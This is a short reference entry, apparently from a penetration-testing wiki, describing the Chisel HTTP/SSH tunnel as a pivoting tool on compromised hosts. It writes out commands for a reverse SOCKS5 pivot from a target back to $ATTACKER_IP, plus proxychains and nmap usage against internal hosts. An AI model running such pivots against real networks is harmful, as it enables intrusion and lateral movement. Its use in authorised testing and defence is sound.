Chisel

A fast TCP/UDP tunnel transported over HTTP and secured via SSH, written in Go by Jaime Pillora. A single static binary acts as both client and server, making it trivial to deploy on a compromised host. Its HTTP transport blends into web traffic, and built-in SOCKS5 and reverse port-forwarding support make it a staple pivoting tool during intrusions.

Reverse SOCKS5 pivot

On the attacker machine (server, accepting reverse connections):

chisel server --host $ATTACKER_IP -p $ATTACKER_PORT --socks5 --reverse

On the target machine (client):

chisel client $ATTACKER_IP:$ATTACKER_PORT R:2600:socks

R:2600:socks tells the server to listen on port 2600 and forward accepted connections back through the client into the target’s network, terminating them as a SOCKS5 proxy.

Using with proxychains

Edit /etc/proxychains4.conf:

[ProxyList]
socks5 127.0.0.1 2600

Then prefix any tool: proxychains nmap -sT -Pn $INTERNAL_HOST. Note chisel’s endpoint is SOCKS5, unlike ssh dynamic forwarding which is typically configured as SOCKS4/SOCKS5 on a different port.

Feature highlights

• Forward and reverse port forwarding (connections go through the server and out the client)
• Optional SOCKS5 server mode and HTTP CONNECT proxy support on the client
• Multiplexed tunnels over a single HTTP/WebSocket connection
• Client connections over stdio, enabling ssh -o ProxyCommand (SSH-over-HTTP)

For interface-level pivoting that doesn’t require proxy-aware tools, see ligolo-ng.

Sources

• jpillora/chisel — Fast TCP/UDP tunnel over HTTP, secured via SSH
• Protocol Tunneling — MITRE ATT&CK T1572
• Proxy: Internal Proxy — MITRE ATT&CK T1090.001

Related: ligolo-ng, ssh, adb-port-forwarding, smbclient